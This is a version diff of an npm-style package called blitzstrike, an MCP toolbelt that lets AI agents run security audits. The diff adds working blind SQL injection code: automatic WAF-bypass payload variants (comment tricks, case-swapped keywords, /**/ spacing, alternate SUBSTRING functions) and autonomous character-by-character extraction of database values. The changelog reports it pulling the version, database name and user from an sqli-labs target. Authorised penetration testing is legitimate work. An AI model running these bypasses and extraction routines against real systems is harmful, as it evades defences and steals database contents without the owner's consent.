blitzstrike 2.4.154 → 2.4.156

package/CHANGELOG.md

@@ -5,6 +5,28 @@ All notable changes to Blitz Strike are documented here.
 The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/).
 
+## [2.4.156] — 2026-10-11
+
+### Added — automatic WAF-bypass in confirm + extract
+
+- `blind_sqli_confirm` now auto-tries WAF-bypass variants of the oracle payload
+  (comment style #/--, comment-space /**/, case-swap aNd, double-quote, close-paren)
+  and reports which bypass worked when the default is filtered.
+- `blind_sqli_extract` auto-selects the working SUBSTRING function variant
+  (case-swap sUbStRiNg / alias SUBSTR·MID / func-paren-split) by probing the first
+  character, then reports `bypass_used`. The blind-SQLi chain now tries bypasses
+  automatically instead of leaving them to the LLM.
+
+## [2.4.155] — 2026-10-11
+
+### Fixed — blind_sqli_extract trailing-space runaway
+
+- Removed space from the extraction charset + trimEnd the result: MySQL's
+  trailing-space-insensitive comparison makes `SUBSTRING(x,n,1)=' '` TRUE for an
+  empty (past-the-end) position, which appended infinite trailing spaces to every
+  extracted value. Verified on sqli-labs Less-8: version=5.7.44, database=security,
+  user=root@172.17.0.3 extracted cleanly via the autonomous chain.
+
 ## [2.4.154] — 2026-10-11
 
 ### Added — autonomous blind SQLi extraction (blind_sqli_extract)

package/dist/index.js

@@ -62443,6 +62443,27 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
     interpretation: "A signal means the parameter reaches that sink (evidence: the differential). Verify live before reporting — the oracle is a detection hint, not proof."
   };
 }
+function oracleBypassVariants(base) {
+  return [
+    base,
+    base.replace("-- -", "#"),
+    base.replace("-- -", "--"),
+    base.replace(/ /g, "/**/"),
+    base.replace(/AND/g, "aNd"),
+    base.replace(/^'/, '"'),
+    base.replace(/^'/, "')")
+  ];
+}
+function extractBypassVariants(tpl) {
+  const fn = tpl.includes("SUBSTRING") ? "SUBSTRING" : "SUBSTR";
+  return [
+    tpl,
+    tpl.replace(fn, fn === "SUBSTRING" ? "sUbStRiNg" : "sUbStR"),
+    tpl.replace(fn, fn === "SUBSTRING" ? "SUBSTR" : "SUBSTRING"),
+    tpl.replace(fn, "MID"),
+    tpl.replace(fn, `${fn}/**/`)
+  ];
+}
 async function confirmBlindSqli(baseUrl, param, value, dbms = "mysql") {
   const base = baseUrl.replace(/\/+$/, "") + "/";
   const p = blindSqli(dbms);
@@ -62464,23 +62485,46 @@ async function confirmBlindSqli(baseUrl, param, value, dbms = "mysql") {
     const r = await fetchSize(payload);
     return { ok: r.ok, size: r.size, ms: Date.now() - t0 };
   };
-  const bt = await fetchSize(`${value}${p.oracle.boolean_true}`);
-  const bf = await fetchSize(`${value}${p.oracle.boolean_false}`);
-  const boolDiff = bt.ok && bf.ok && bt.size !== bf.size;
-  const tt = await fetchTiming(`${value}${p.oracle.time_true}`);
-  const tf = await fetchTiming(`${value}${p.oracle.time_false}`);
-  const timeDiff = tt.ms > 2000 && tf.ms < 2000;
+  let boolDiff = false, bt = { ok: false, size: 0 }, bf = { ok: false, size: 0 };
+  let boolBypass = null;
+  const btv = oracleBypassVariants(p.oracle.boolean_true);
+  const bfv = oracleBypassVariants(p.oracle.boolean_false);
+  for (let i = 0;i < btv.length; i++) {
+    const t = await fetchSize(`${value}${btv[i]}`);
+    const f = await fetchSize(`${value}${bfv[i]}`);
+    if (t.ok && f.ok && t.size !== f.size) {
+      boolDiff = true;
+      bt = t;
+      bf = f;
+      boolBypass = i === 0 ? null : btv[i];
+      break;
+    }
+  }
+  let timeDiff = false, tt = { ms: 0 }, tf = { ms: 0 };
+  const ttv = oracleBypassVariants(p.oracle.time_true);
+  const tfv = oracleBypassVariants(p.oracle.time_false);
+  for (let i = 0;i < ttv.length; i++) {
+    const t = await fetchTiming(`${value}${ttv[i]}`);
+    const f = await fetchTiming(`${value}${tfv[i]}`);
+    if (t.ms > 2000 && f.ms < 2000) {
+      timeDiff = true;
+      tt = t;
+      tf = f;
+      break;
+    }
+  }
   const confirmed = boolDiff || timeDiff;
   const channel = boolDiff && timeDiff ? "both" : boolDiff ? "boolean" : timeDiff ? "time" : null;
   return {
     dbms,
     param,
     value,
-    boolean: { true_size: bt.size, false_size: bf.size, differential: boolDiff },
+    boolean: { true_size: bt.size, false_size: bf.size, differential: boolDiff, bypass: boolBypass },
     time: { true_ms: tt.ms, false_ms: tf.ms, differential: timeDiff },
     confirmed,
     channel,
-    evidence: confirmed ? `blind SQLi CONFIRMED via ${channel} differential — ` + (boolDiff ? `boolean TRUE=${bt.size}b vs FALSE=${bf.size}b` : "") + (boolDiff && timeDiff ? "; " : "") + (timeDiff ? `time TRUE≈${tt.ms}ms vs FALSE≈${tf.ms}ms` : "") + "." : "no clean boolean or time differential observed — not confirmed as blind SQLi (could be a WAF, a non-boolean sink, or a false arithmetic hint)."
+    bypass_used: boolBypass,
+    evidence: confirmed ? `blind SQLi CONFIRMED via ${channel} differential — ` + (boolDiff ? `boolean TRUE=${bt.size}b vs FALSE=${bf.size}b${boolBypass ? ` (bypass: ${boolBypass})` : ""}` : "") + (boolDiff && timeDiff ? "; " : "") + (timeDiff ? `time TRUE≈${tt.ms}ms vs FALSE≈${tf.ms}ms` : "") + "." : "no clean boolean or time differential observed (tried default + WAF-bypass variants) — not confirmed as blind SQLi."
   };
 }
 function resolveQueryExpr(p, target, opts) {
@@ -62535,20 +62579,32 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
       channel = "time";
     }
   }
-  const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_/.-:@ ";
+  const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_/.-:@";
+  const baseTpl = channel === "time" ? p.extraction.time : p.extraction.boolean;
+  const render = (tpl, pos, ch) => `${value}${tpl.replace(/\{query\}/g, queryExpr).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch).replace(/\{sec\}/g, "1")}`;
+  const matches = async (tpl, pos, ch) => channel === "time" ? await getTime(render(tpl, pos, ch)) > 600 : await getSize(render(tpl, pos, ch)) === trueSize;
+  const variants = extractBypassVariants(baseTpl);
+  let tpl = variants[0];
+  let tplBypass = null;
+  for (const v of variants) {
+    let ok = false;
+    for (const ch of charset) {
+      if (await matches(v, 1, ch)) {
+        ok = true;
+        break;
+      }
+    }
+    if (ok) {
+      tpl = v;
+      tplBypass = v === baseTpl ? null : v;
+      break;
+    }
+  }
   let out = "";
   for (let pos = 1;pos <= maxlen; pos++) {
     let found = null;
     for (const ch of charset) {
-      let matched = false;
-      if (channel === "time") {
-        const payload = `${value}${p.extraction.time.replace(/\{query\}/g, queryExpr).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch).replace(/\{sec\}/g, "1")}`;
-        matched = await getTime(payload) > 600;
-      } else {
-        const payload = `${value}${p.extraction.boolean.replace(/\{query\}/g, queryExpr).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch)}`;
-        matched = await getSize(payload) === trueSize;
-      }
-      if (matched) {
+      if (await matches(tpl, pos, ch)) {
         found = ch;
         break;
       }
@@ -62557,6 +62613,7 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
       break;
     out += found;
   }
+  out = out.trimEnd();
   return {
     dbms,
     target,
@@ -62564,7 +62621,8 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
     query: queryExpr,
     extracted: out,
     char_count: out.length,
-    evidence: out.length > 0 ? `extracted '${target}' = ${JSON.stringify(out)} via ${channel} oracle (${out.length} chars).` : `no characters matched for '${target}' — the oracle may be dead for this query or the value is empty.`
+    bypass_used: tplBypass,
+    evidence: out.length > 0 ? `extracted '${target}' = ${JSON.stringify(out)} via ${channel} oracle (${out.length} chars${tplBypass ? `; function bypass: ${tplBypass}` : ""}).` : `no characters matched for '${target}' — the oracle may be dead for this query or the value is empty.`
   };
 }
 

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "blitzstrike",
-  "version": "2.4.154",
+  "version": "2.4.156",
   "description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
   "type": "module",
   "bin": {